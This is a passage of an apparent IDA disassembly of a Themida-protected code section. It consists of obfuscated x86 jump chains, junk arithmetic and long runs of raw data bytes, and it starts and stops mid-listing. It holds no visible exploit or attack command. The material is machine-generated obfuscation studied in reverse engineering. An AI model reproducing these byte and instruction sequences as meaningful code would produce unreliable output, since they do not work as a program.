		dd 654E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56435A:				; CODE XREF: Themida_:0055AAC7j
		pop	esi
		add	esp, 4
		add	esp, 4
		add	eax, 2C14C862h
		add	edi, eax
		pop	eax
		jmp	loc_55D2BD
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0FF716EE9h, 14F757FFh, 0EE1FE924h, 0EC81FFFEh, 4, 0BD242C89h
		dd 273C275Ah, 3C275EBBh, 5DEB3127h, 14F8E981h, 0D90121BBh
		dd 14F8C181h, 2EE921BBh, 1FFFF3Fh, 10C181E9h, 0E976123Eh
		dd 0FFFF495Dh, 0E905EDC1h, 0FFFEEA81h, 4E5BBD55h, 0EF2927A3h
		dd 0B5B9515Dh, 3154445Bh, 240C8BCFh, 4C481h, 0F8290000h
		dd 5F2434FFh, 0FF555CE9h, 81DBF7FFh, 2003E2EBh,	0A0F3814Eh
		dd 0F77DF702h, 25E381D3h, 813BB847h, 0F826BFEBh, 93E9521Dh
		dd 0B8FFFF2Ah, 2077661Ch, 0F049292Dh, 0FBF577Eh, 15E78E3h
		dd 0B8505FF8h, 39C7BADh, 9ACEE950h, 8956FFFFh, 12BD55E6h
		dd 0C1440340h, 8CE902EDh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564437:				; CODE XREF: Themida_:00553292j
		add	ebx, eax
		sub	ebx, 536A4C13h
		jmp	loc_561EEB
; ---------------------------------------------------------------------------
		dd 0E402E952h, 8953FFFFh, 0E08950E3h, 405h, 4E88300h, 5C240487h
		dd 0FFB879E9h, 242C8BFFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 0C6F9E952h, 0FD68FFFEh, 5E05310Bh, 515EF731h, 5C2738B9h
		dd 0E981415Eh, 166B0AA0h, 0FFA556E9h, 81E189FFh, 4C1h
		dd 4E98300h, 0FF79BDE9h, 4C383FFh, 2474FF53h, 241C8B04h
		dd 0FF8185E9h, 0E95D5EFFh, 0FFFED914h, 4C481h, 89560000h
		dd 4C681E6h, 0E9000000h, 0FFFF6013h
; ---------------------------------------------------------------------------

loc_5644D0:				; CODE XREF: Themida_:005561C4j
		add	esp, 4
		push	ebx
		jmp	loc_55B9FD
; ---------------------------------------------------------------------------

loc_5644DC:				; CODE XREF: Themida_:005532F9j
		add	ebx, eax
		pop	eax
		sub	eax, 5C6C6308h
		jmp	loc_56377B
; ---------------------------------------------------------------------------
		db 2Dh,	0Eh, 5Eh
		dd 89505CC3h, 8B2BE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5644F6:				; CODE XREF: Themida_:00561701j
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		jmp	loc_562912
; ---------------------------------------------------------------------------
byte_564509	db 55h,	0E9h, 23h	; DATA XREF: Themida_:0054FF58o
		dd 0E9FFFF97h, 0FFFEBB83h
; ---------------------------------------------------------------------------

loc_564514:				; CODE XREF: Themida_:0055CEE6j
		pop	edi
		push	esi
		mov	esi, 4FDC650Eh
		dec	esi
		not	esi
		jmp	loc_55B6CF
; ---------------------------------------------------------------------------

loc_564523:				; CODE XREF: Themida_:0055F9A1j
		push	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	6704h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_56454B
; ---------------------------------------------------------------------------

loc_564544:				; CODE XREF: Themida_:00554F53j
		add	ebp, esi
		jmp	loc_55225D
; ---------------------------------------------------------------------------

loc_56454B:				; CODE XREF: Themida_:0056453Fj
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55CD65
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 8924248Bh, 30E9240Ch
		db 0BBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564567:				; CODE XREF: Themida_:0055CE72j
		add	ebp, 4
		jmp	loc_552917
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0EBD49FC2h, 5AD689E7h, 2D5EF001h, 4DE727EFh,	73E668h
		dd 240C8900h, 98CE25B9h, 0E9C8313Ah, 0FFFF7F0Ch, 4C481h
		dd 0C4830000h, 0B6685604h, 89000078h, 26E92404h, 0FF000002h
		dd 8B042474h, 0C481242Ch, 4, 5C24048Fh,	9C2404D3h, 0FEBACEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5645C9:				; CODE XREF: Themida_:0055E44Dj
		pop	edx
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_561A3A
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 31240433h, 4332404h,	0B8ECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5645EA:				; CODE XREF: Themida_:005542E1j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, dl
		jmp	loc_55350E
; ---------------------------------------------------------------------------
byte_5645FB	db 0FFh			; DATA XREF: Themida_:0054FE60o
		dd 0E9582434h, 0FFFEE094h, 5224248Bh, 0FF85E6E9h, 5B5453FFh
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF2708h, 0E924248Bh
		dd 0FFFF1018h, 606328BDh, 0E9EF8918h, 0FFFFE36Ah
; ---------------------------------------------------------------------------

loc_564638:				; CODE XREF: Themida_:005502FDj
		or	eax, eax
		jmp	loc_5649E9
; ---------------------------------------------------------------------------
		db 87h
		dd 895C240Ch, 0E189240Ch, 8685750h, 0E95CB334h,	0FFFF13DEh
		dd 0EC81E189h, 4, 0BE243489h, 41C31026h, 0FEDB80E9h, 0BA29E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56466E:				; CODE XREF: Themida_:00552CA0j
		and	esi, 1A2E0F51h
		xor	esi, 3B771226h
		push	ebp
		mov	ebp, 20393B10h
		and	ebp, 7B5C36D3h
		jmp	loc_561954
; ---------------------------------------------------------------------------

loc_56468B:				; CODE XREF: Themida_:005655DDj
		pop	esi
		xor	ecx, 0F57EF3D7h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_560D24
; ---------------------------------------------------------------------------
dword_5646A0	dd 50240C8Bh, 0FFDFFFE9h, 241C31FFh, 0FF2B77E9h, 4C781FFh
					; DATA XREF: Themida_:0054FDF4o
		dd 81000000h, 4C7h, 39D4E900h, 3433FFFFh, 24248B24h, 0E9241489h
		dd 0FFFFE8D2h, 86E9F101h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5646D7:				; CODE XREF: Themida_:00565628j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, 16C31E7Ah
		push	2A910D18h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, eax
		jmp	loc_565516
; ---------------------------------------------------------------------------
byte_5646F9	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055001Co
		dd 0FD24E924h, 0ABB6FFFFh, 8B66F700h, 0C4812414h, 2, 1DE9F820h
		dd 81FFFF05h, 5AE60FF7h, 0B9C281DAh, 0E942372Bh, 0FFFFEDDDh
		dd 0C581E589h, 4, 0E904C583h, 0FFFF1050h
; ---------------------------------------------------------------------------

loc_564738:				; CODE XREF: Themida_:00559547j
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		add	edx, eax
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 54C84839h
		mov	ebx, 54C84839h
		sub	ebx, edx
		jmp	loc_55BB88
; ---------------------------------------------------------------------------
		dd 86BE565Dh, 8133FB2Fh, 1A575BF6h, 4FCE812Eh, 8134923Bh
		dd 0BC60C2EEh, 0E9F5292Dh, 0FFFF809Ch
; ---------------------------------------------------------------------------

loc_564780:				; CODE XREF: Themida_:0055D063j
		xchg	eax, edi
		push	edx
		mov	edx, 71351312h
		dec	edx
		add	edx, 0D3E1F85h
		add	edx, 280559EBh
		jmp	loc_559855
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0E0h
		dd 3170C320h, 24148BD0h, 0FEF3C8E9h, 42D2F7FFh,	1F9EA81h
		dd 0D2F77FAFh, 0B740C281h, 79E96F37h, 68FFFF08h, 278h
		dd 89240C89h, 4C181E1h,	55000000h, 0FF5BF0E9h, 36E468FFh
		dd 48B0508h, 4C48324h, 0FEBF4DE9h, 0E18951FFh, 4C181h
		dd 0E9830000h, 2DE95104h, 81FFFF79h, 0A71C6FC6h, 424E96Fh
		dd 3C8BFFFFh, 4C48324h,	5C241C87h, 0FEB886E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564811:				; CODE XREF: Themida_:0055D168j
		xor	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		sub	ebx, 1
		neg	ebx
		jmp	loc_55D2DA
; ---------------------------------------------------------------------------
		dd 0D2F7DAF7h, 2636E956h, 34FFFFFFh, 0C4815F24h, 4, 0E9243433h
		dd 0FFFEE418h, 5FA72D40h, 0D0F767C6h, 5513B05h,	40092D3Ah
		dd 0BD3572E3h, 2937155Ah, 8EE958C5h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56485F:				; CODE XREF: Themida_:005507D8j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55C515
; ---------------------------------------------------------------------------
		dd 0FEB822E9h, 0B60F66FFh, 0E9DDE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56487E:				; CODE XREF: Themida_:0055DED7j
		mov	ecx, edi
		pop	edi
		jmp	loc_56229E
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 24048150h, 4E1741BFh, 8588E95Ah, 8B54FFFFh, 0E9562434h
		dd 0FFFFD3E5h, 81242489h, 42404h, 3C8B0000h, 4C48324h
		dd 0FF8ECBE9h, 665205FFh, 0C80127D4h, 0D466522Dh, 240C8B27h
		dd 8904EC83h, 0E954243Ch, 0FFFEF1EAh, 805AF588h, 0EB8077EBh
		dd 0E9EB0097h, 0FFFF7BD1h, 0BB535053h, 37FC587Dh, 4245C31h
		dd 241C8B5Bh, 0FED0A7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5648F9:				; CODE XREF: Themida_:005536FFj
		mov	eax, 79910C82h
		or	edi, eax
		pop	eax
		jmp	loc_55E43C
; ---------------------------------------------------------------------------
word_564906	dw 77FFh		; DATA XREF: Themida_:0054FFACo
		dd 19589D1Ch, 0E99C2404h, 0FFFFFF5Ch, 0E9243C8Bh, 0FFFF90F8h
		dd 0D8645C05h, 0ED10E937h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564926:				; CODE XREF: Themida_:00551C78j
		sub	ecx, 0F633F09Fh
		add	ebx, 7C151D80h
		sub	ebx, ecx
		jmp	loc_56107B
; ---------------------------------------------------------------------------
		db 5Bh,	55h, 0BDh
		dd 672F4597h, 2C8BE929h, 0D5EAE924h, 5066FFFFh,	0E52029B4h
		dd 0CD805866h, 7DED80F1h, 2C59EE88h, 4F00074h, 505A6674h
		dd 24048B54h, 4C481h, 0BA520000h, 2C9A3AD8h, 8107E2C1h
		dd 1D6C04F2h, 75CE2D4Dh, 0D00170E6h, 0E675CE05h, 52565A70h
		dd 2BAh, 5AD68900h, 348BF029h, 2F81E924h, 0F4E9FFFFh, 81FFFEB6h
		dd 4C6h, 0C410E900h, 815DFFFFh,	6430ECF5h, 48FEE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5649BA:				; CODE XREF: Themida_:0056194Fj
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56432F
; ---------------------------------------------------------------------------
byte_5649C7	db 53h			; DATA XREF: Themida_:0054FE58o
		dd 51E68956h, 0FEB7D3E9h, 0E4EF81FFh, 0E96B5359h, 0FFFF5FF0h
; ---------------------------------------------------------------------------

loc_5649DC:				; CODE XREF: Themida_:005655BBj
		mov	ecx, eax
		pop	eax
		or	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_5568AF
; ---------------------------------------------------------------------------

loc_5649E9:				; CODE XREF: Themida_:0056463Aj
		jz	loc_5636BC
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_56023A
; ---------------------------------------------------------------------------
		dw 505Dh
		dd 405E089h, 5000000h, 4, 0E9240487h, 0FFFEDDAFh, 5C241433h
		dd 0BA241489h, 0AFEDC3C2h, 0FFABB2E9h
		db 0FFh
byte_564A21	db 68h,	7Bh, 62h	; DATA XREF: Themida_:0054FEE8o
		dd 1C890000h, 68E38924h, 3C74h,	0E9243C89h, 0FFFEFA2Bh
; ---------------------------------------------------------------------------

loc_564A38:				; CODE XREF: Themida_:005528E3j
		pop	edi
		push	37F9h
		mov	[esp], ecx
		jmp	loc_55C1A3
; ---------------------------------------------------------------------------

loc_564A46:				; CODE XREF: Themida_:00557B22j
		mov	[esp], ebx
		push	3152h
		mov	[esp], eax
		push	edx
		add	dword ptr [esp], 24B74624h
		pop	eax
		sub	eax, 24B74624h
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_55A3AB
; ---------------------------------------------------------------------------

loc_564A69:				; CODE XREF: Themida_:00560759j
		mov	edi, 7E8522ACh
		xor	esi, edi
		pop	edi
		push	0CDDh
		mov	[esp], edi
		mov	edi, 14FD0B0Ah
		mov	ecx, 2F0217DAh
		add	ecx, edi
		jmp	loc_563421
; ---------------------------------------------------------------------------
		dw 8E9h
		db 0B6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564A8F:				; CODE XREF: Themida_:00550DF8j
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		xor	edx, 17B31C84h
		push	edx
		mov	ebx, [esp]
		jmp	loc_55FA95
; ---------------------------------------------------------------------------

loc_564AA4:				; CODE XREF: Themida_:0055632Cj
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_552E20
; ---------------------------------------------------------------------------
		dd 76E9D101h, 88FFFEDFh, 241C8BFAh, 4C481h, 1AE90000h
		db 1Ah,	2 dup(0FFh)
byte_564AC7	db 66h			; DATA XREF: Themida_:0054FF2Co
		dd 0E9240C8Bh, 0FFFEC18Fh, 31665866h, 617CE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564ADA:				; CODE XREF: Themida_:00561A66j
		mov	[esp], eax
		mov	eax, 69BD1DA0h
		sub	ebx, eax
		pop	eax
		pop	edx
		shr	ebx, 2
		shr	ebx, 3
		shl	ebx, 3
		sub	ebx, 3D34F257h
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		jmp	loc_55DD5C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C481h, 0E9530000h, 0FFFEB71Eh, 5604C483h, 0C681E689h
		dd 4, 4EE81h, 0EE90000h, 68FFFF43h, 0C48h, 50241489h, 0B565E99Ch
		dd 0C780FFFEh, 6CCF8008h, 0FEC4CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564B3D:				; CODE XREF: Themida_:00561E61j
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_559F31
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5607BB
; ---------------------------------------------------------------------------
		dd 0B636A9B9h, 0FFC18302h, 0C00E950h, 0DD29FFFFh, 0D22C581h
		dd 0B95B3BD1h, 944EA994h, 0E95DE901h, 0FFFF94DCh, 4C181h
		dd 6EE90000h, 81FFFF08h, 0A20FA2C3h, 45B85060h,	0E91FD652h
		dd 0FFFEB6BBh, 0BA52E789h, 4, 835AD701h, 3C8704EFh, 0E526E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564BB6:				; CODE XREF: Themida_:005642FBj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_558A29
; ---------------------------------------------------------------------------

loc_564BCA:				; CODE XREF: Themida_:00557577j
		and	esi, edx
		jmp	loc_563C96
; ---------------------------------------------------------------------------

loc_564BD1:				; CODE XREF: Themida_:0055A617j
		pop	ax
		jmp	loc_564D2F
; ---------------------------------------------------------------------------
		dd 525BF928h, 0FF496BE9h, 0C0CEFEFFh, 0C68007EEh, 53516630h
		dd 0CBFEBFB3h, 0FEE6B450h, 96B252CCh, 4E9D420h,	1FFFF85h
		dd 94FE9D3h, 0C3810000h, 4, 22D9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C12:				; CODE XREF: Themida_:0055EF2Dj
		pop	ecx
		push	ebp
		mov	ebp, 49F153A3h
		shl	ebp, 6
		or	ebp, 6FC642E4h
		jmp	loc_55E2E3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835B2434h, 0D10404C4h, 4EC81h, 14890000h, 8051B624h
		dd 0F028FAEEh, 2434FF5Ah, 5749E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C4A:				; CODE XREF: Themida_:0055D954j
		add	bl, ah
		pop	eax
		add	bl, 0A2h
		jmp	loc_55B2FF
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0E9E0D15Ch, 0FFFFB456h, 4E981h, 0C870000h, 3C895C24h
		dd 0DD895524h, 2C8BEF89h, 4C48124h, 89000000h, 2434FFFDh
		dd 5F2434FFh, 6804C483h, 5C21h,	0E9243C89h, 0FFFFCBF8h
		dd 3304EE83h, 0CAE92434h, 0C1FFFEE5h, 5AE904E5h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564CA7:				; CODE XREF: Themida_:00562E36j
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	eax
		mov	eax, 4
		jmp	loc_56087B
; ---------------------------------------------------------------------------
		db 5Ah,	33h, 4
		dd 24043124h, 8B240433h, 39682424h, 8900006Eh, 0F3E92434h
		dd 83FFFED2h, 0EAE904C0h, 53FFFF00h, 5B85BE56h,	0DDE97D93h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564CEB:				; CODE XREF: Themida_:0055DDA8j
		pop	dword ptr [esp]
		jmp	loc_55872F
; ---------------------------------------------------------------------------

loc_564CF3:				; CODE XREF: Themida_:0055B700j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55A7B2
; ---------------------------------------------------------------------------

loc_564D08:				; CODE XREF: Themida_:0055512Cj
		push	4A0Ch
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_562D0D
; ---------------------------------------------------------------------------
		dw 8566h
		dd 68E99CC8h
		db 0B3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564D2F:				; CODE XREF: Themida_:00564BD3j
		push	edx
		mov	dl, 0BFh
		jmp	loc_5563D0
; ---------------------------------------------------------------------------

loc_564D37:				; CODE XREF: Themida_:0055AA24j
		add	edi, 1E630AFh
		dec	edi
		xor	edi, 5A3E28DCh
		not	edi
		dec	edi
		xor	edi, 313ECD59h
		add	ebp, edi
		pop	edi
		jmp	loc_55C8BF
; ---------------------------------------------------------------------------
		db 0F6h, 0DAh, 68h
		dd 243Fh, 53240C89h, 0FEDB6AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564D65:				; CODE XREF: Themida_:005512F2j
		inc	esi
		sub	esi, 3B25FBD1h
		shr	esi, 5
		jmp	loc_55067A
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFD60Dh, 0E8204AB9h, 8BCA317Dh, 0C481240Ch
		dd 4, 451EA81h,	0C2816E2Ch, 5EC16256h, 42C0B850h, 0D1350265h
		dd 2917947Fh, 0ED7BE9C5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564DAA:				; CODE XREF: Themida_:00553EA6j
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_561DFC
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 5BD9295Fh, 31240C33h, 0C33240Ch, 24248B24h, 0FF241C89h
		dd 5B042474h, 8B24048Fh, 8B662424h, 0EFE92404h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564DDF:				; CODE XREF: Themida_:00553E13j
		push	dword ptr [esp+4]
		jmp	loc_55C55F
; ---------------------------------------------------------------------------
		dd 83BF575Ah, 0E95DEA7Eh, 0FFFEF513h, 15FF889h,	24148BD0h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 99E92434h
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564E13:				; CODE XREF: Themida_:005548F3j
		add	eax, 7D0837E6h
		jmp	loc_55DD82
; ---------------------------------------------------------------------------
		db 1, 0C5h, 8Bh
		dd 0C4832404h, 7EE95304h, 0F7FFFEE1h, 7E1C1D9h,	86CC981h
		dd 0C13126BFh, 0C131C831h, 8191D0F7h, 70CF0E9h,	59C82956h
		dd 4C0835Ah, 0FFE0CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564E51:				; CODE XREF: Themida_:0055C15Cj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	edi
		mov	edi, 2966FDh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 318B306Eh
		neg	ecx
		shr	ecx, 7
		neg	ecx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------

loc_564E79:				; CODE XREF: Themida_:0055B1A1j
		push	ecx
		mov	ecx, 48A16FFh
		inc	ecx
		inc	ecx
		and	ecx, 354B1151h
		not	ecx
		push	ebp
		mov	ebp, 1B245441h
		or	ebp, 65D46C7Ch
		xor	ebp, 30E06858h
		sub	ebp, 4A233016h
		sub	ebp, 0E2A090FAh
		xor	ecx, ebp
		pop	ebp
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 147A0BC1h
		add	edx, 5421548h
		add	edx, esi
		sub	edx, 5421548h
		sub	edx, 147A0BC1h
		mov	esi, [esp]
		add	esp, 4
		add	edx, esi
		sub	edx, 13B31488h
		push	dword ptr [esp]
		jmp	loc_552E15
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 599168h, 24348900h, 4BEh,	5EF32900h, 5C241C87h, 68241C89h
		dd 3550h, 83242489h, 0FF042404h, 0E95B2434h, 0FFFFB672h
; ---------------------------------------------------------------------------

loc_564F14:				; CODE XREF: Themida_:0055038Cj
		add	dword ptr [esp+4], 56B839ADh
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_550402
; ---------------------------------------------------------------------------

loc_564F31:				; CODE XREF: Themida_:0055B9D7j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_557E16
; ---------------------------------------------------------------------------
		db 31h
		dd 62E92414h, 81FFFEEBh, 3F5673EAh, 5AD7016Dh, 75A1BA52h
		dd 424A3813h, 0D88C281h, 22E90B46h
		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564F63:				; CODE XREF: Themida_:005619DEj
		push	esi
		mov	esi, edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55CF5A
; ---------------------------------------------------------------------------
		dd 81243C89h, 4ECh, 240C8900h, 0C1730B9h, 0B5B9514Eh, 4155A204h
		dd 0FF93BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564F91:				; CODE XREF: Themida_:005573DCj
		mov	esp, [esp]
		push	4C54h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		jmp	loc_554668
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 0FED39FE9h, 5DEB31FFh, 0FEECA9E9h, 0C2895BFFh, 582434FFh
		dd 5104C483h, 0A10CF1B9h, 0E9CE0153h, 0FFFEC3CAh, 8B5AD301h
		dd 0EC83240Ch, 17A6E904h, 815EFFFFh, 4C6h, 4C68100h, 87000000h
		dd 248B2434h, 55B85024h, 0D5F184Ah, 0C556E0Ch, 0AE50F135h
		dd 58C30151h, 0B850C329h, 0EF33EACh, 0FF58C329h, 6AE92434h
		dd 8BFFFF4Ch, 0C4812434h, 4, 0FF77EAE9h, 4B850FFh, 89000000h
		dd 24048BC1h, 4C481h, 0E1E90000h
		db 0C5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56503B:				; CODE XREF: Themida_:0055952Cj
		sub	ebp, 8C28C0A7h
		mov	ecx, ebp
		jmp	loc_563D79
; ---------------------------------------------------------------------------
		dd 8FDC381h, 0C38164CCh, 0C3639AECh, 0ECE9D931h, 81FFFFEAh
		dd 3A15DBC6h, 0A1C68148h, 0C15D5E39h, 45E903EEh
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56506F:				; CODE XREF: Themida_:00556674j
		mov	ebp, 117F5410h
		sub	esi, ebp
		pop	ebp
		pop	edx
		push	ebx
		push	ebp
		push	eax
		mov	eax, 493E34E9h
		jmp	loc_55AF72
; ---------------------------------------------------------------------------

loc_565085:				; CODE XREF: Themida_:00552F5Aj
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_556C3C
; ---------------------------------------------------------------------------
		dd 6B95B850h, 91B9020Eh, 0E9020E6Bh, 0FFFFB261h, 0E95AD088h
		dd 0FFFF51D8h
; ---------------------------------------------------------------------------

loc_5650AC:				; CODE XREF: Themida_:00555E23j
		push	eax
		push	ebp
		mov	ebp, 46F83D29h
		jmp	loc_565658
; ---------------------------------------------------------------------------
		dd 0D241DBBAh, 0C1E2D14Fh, 0F28105EAh, 4FD2419h, 3EE5C381h
		dd 0D30139E5h, 3EE5EB81h, 875A39E5h, 248B241Ch,	24043124h
		dd 0AFB1E99Ch, 158FFFEh, 9CE955C6h, 1FFFECEh, 0FB315BDFh
		dd 0E9243C8Bh, 0FFFF7774h
; ---------------------------------------------------------------------------

loc_5650FC:				; CODE XREF: Themida_:00560778j
		pop	dword ptr [esp]
		push	edi
		jmp	loc_5570CA
; ---------------------------------------------------------------------------

loc_565105:				; CODE XREF: Themida_:0055A0D5j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_554E3A
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E189240Ch, 3957E953h, 0BF57FFFFh, 2F52036Fh
		dd 0E9DFF74Fh, 0FFFFF225h, 0E9242C89h, 0FFFFF10Bh, 33241431h
		dd 248B2414h, 24040924h, 0AF29E99Ch, 0C159FFFEh, 895606E3h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 0FF5EFEE9h, 5FC581FFh
		dd 0E976287Ch, 0FFFF94D0h, 5E08950h, 4,	0FFF438E9h
		db 0FFh
byte_5651A1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FFF4o
		dd 29FD6824h, 14890000h, 148B5424h, 4C48324h, 0FF4B3EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5651B9:				; CODE XREF: Themida_:00555F02j
		mov	[esp], ebx
		jmp	loc_55E9D1
; ---------------------------------------------------------------------------
		db 1, 0D8h, 0E9h
		dd 0FFFF2B38h, 7A51C181h, 815A2BF2h, 4C1h, 337DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5651DA:				; CODE XREF: Themida_:0055D201j
		push	7AF6h
		jmp	loc_556146
; ---------------------------------------------------------------------------

loc_5651E4:				; CODE XREF: Themida_:00562CD2j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dd 2E2DD829h, 81048526h, 4ECh, 241C8900h, 0D65EA8BBh, 4EC8132h
		dd 89000000h, 12E9241Ch
		db 0B6h, 0FEh, 0FFh
byte_565217	db 66h			; DATA XREF: Themida_:0054FE28o
		dd 0E924048Bh, 0FFFEFDC1h, 3FE95352h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565227:				; CODE XREF: Themida_:00554676j
		shr	ebp, 6
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_563F03
; ---------------------------------------------------------------------------
		dd 6C6A2D5Ah, 0F029335Eh, 5E6C6A05h, 9690533h, 13686CF5h
		dd 89000054h, 4EBE2434h, 0E9360053h, 0FFFF3FF0h
; ---------------------------------------------------------------------------

loc_56525C:				; CODE XREF: Themida_:005602ACj
		add	ebx, 4
		jmp	loc_55E4C8
; ---------------------------------------------------------------------------

loc_565267:				; CODE XREF: Themida_:00553A42j
		mov	ebx, 336F6404h
		shl	ebx, 7
		shr	ebx, 8
		xor	ebx, 0B7B206h
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	1
		pop	ebp
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55DFB7
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 55F9F724h, 2434FF54h, 4C4835Dh, 0FF9986E9h, 2DD0F7FFh
		dd 45A2288Ah, 0FFA948E9h, 0B5BF57FFh, 0BA717F49h, 72C0A183h
		dd 71E9FA29h
		db 63h,	2 dup(0FFh)
